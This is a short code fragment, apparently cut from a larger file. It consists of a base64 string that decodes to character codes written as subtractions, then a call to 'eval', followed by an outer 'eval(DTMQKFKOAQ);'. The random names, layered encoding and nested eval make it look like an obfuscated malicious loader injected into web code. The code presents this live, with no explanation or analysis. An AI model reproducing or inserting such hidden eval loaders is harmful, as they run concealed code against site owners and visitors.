ExMSAtIDEsIDEwOCAtIDUsIDExOCAtIDIsIDEwNiAtIDIsIDQyIC0gMSwgNDMgLSAyLCA2MCAtIDEsIDE2IC0gNiwgMzQgLSAyLCAzNiAtIDQsIDEzMSAtIDYsIDE0IC0gNCwgMzMgLSAxLCAzOSAtIDcsIDEyMSAtIDcsIDEwNiAtIDUsIDEyMyAtIDcsIDEyMiAtIDUsIDExNiAtIDIsIDExNiAtIDYsIDM5IC0gNywgMTE4IC0gNCwgMTA3IC0gNiwgMTIwIC0gNSwgNjQgLSA1LCAxNSAtIDUsIDEzMSAtIDYsIDE0IC0gNCwgMTkgLSA5LCAxMTkgLSAxLCAxMDUgLSA4LCAxMTkgLSA1LCAzNSAtIDMsIDEwMiAtIDIsIDEwOSAtIDgsIDEwNyAtIDgsIDM1IC0gMywgNjIgLSAxLCA0MSAtIDksIDEyNyAtIDcsIDExNCAtIDMsIDEyMSAtIDcsIDEwMyAtIDgsIDEwMiAtIDEsIDExNyAtIDcsIDEwMSAtIDIsIDQxIC0gMSwgMTA0IC0gNywgMTIyIC0gNiwgMTE0IC0gMywgMTAyIC0gNCwgNDQgLSA0LCAxMTAgLSA5LCAxMTUgLSA1LCAxMDUgLSA2LCAxMDYgLSA1LCAxMDMgLSAzLCA0MyAtIDIsIDUyIC0gOCwgNDEgLSA5LCAxMTQgLSA3LCAxMTAgLSA5LCAxMjUgLSA0LCA0OSAtIDgsIDY1IC0gNiwgMTcgLSA3LCA0MiAtIDIsIDExMyAtIDMsIDEwOCAtIDcsIDEyNiAtIDcsIDM5IC0gNywgNzIgLSAyLCAxMjIgLSA1LCAxMTIgLSAyLCAxMDYgLSA3LCAxMjMgLSA3LCAxMDcgLSAyLCAxMTYgLSA1LCAxMTIgLSAyLCA0NCAtIDQsIDEwNCAtIDQsIDEwNSAtIDQsIDEwMyAtIDQsIDQyIC0gMSwgNDUgLSA0LCA0OSAtIDksIDUwIC0gOSwgNjIgLSAzLCAxNiAtIDYsIDE1IC0gNSk7ZXZhbChFR0FFUUtPUVpBKTs=’);
eval(DTMQKFKOAQ);